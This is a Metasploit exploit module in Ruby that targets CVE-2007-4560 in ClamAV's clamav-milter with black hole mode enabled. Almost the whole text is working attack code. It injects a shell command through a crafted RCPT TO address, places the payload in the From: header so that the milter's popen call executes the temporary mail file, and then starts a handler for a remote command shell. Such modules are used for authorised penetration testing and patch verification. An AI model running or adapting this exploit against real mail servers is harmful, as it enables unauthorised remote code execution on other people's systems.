ClamAV Milter Blackhole-Mode Remote Code Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Smtp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',  
'Description' => %q{  
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'  
(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.  
When implemented with black hole mode enabled, it is possible to execute  
commands remotely due to an insecure popen call.  
},  
'Author' => [ 'patrick' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-4560' ],  
[ 'OSVDB', '36909' ],  
[ 'BID', '25439' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 1024,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>   
[  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Aug 24 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),  
], self.class)  
end  
  
def exploit  
  
# ClamAV writes randomized msg.###### temporary files in a randomized  
# /tmp/clamav-#######################/ directory. This directory is  
# the clamav-milter process working directory.  
#  
# We *can* execute arbitrary code directly from 'sploit', however the  
# SMTP RFC rejects all payloads with the exception of generic CMD  
# payloads due to the IO redirects. I discovered that the 'From:'  
# header is written to this temporary file prior to the vulnerable  
# call, so we call the file itself and payload.encoded is executed.  
  
sploit = "sh msg*" # Execute the clamav-milter temporary file.  
  
# Create the malicious RCPT TO before connecting,  
# to make good use of the Exploit::Smtp support.  
  
oldaddr = datastore['MAILTO']  
newaddr = oldaddr.split('@')  
  
datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"  
  
connect_login  
  
sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header  
sock.put(".\r\n")  
  
# Clean up RCPT TO afterwards  
  
datastore['MAILTO'] = oldaddr  
  
handler  
disconnect  
end  
  
end  
  
`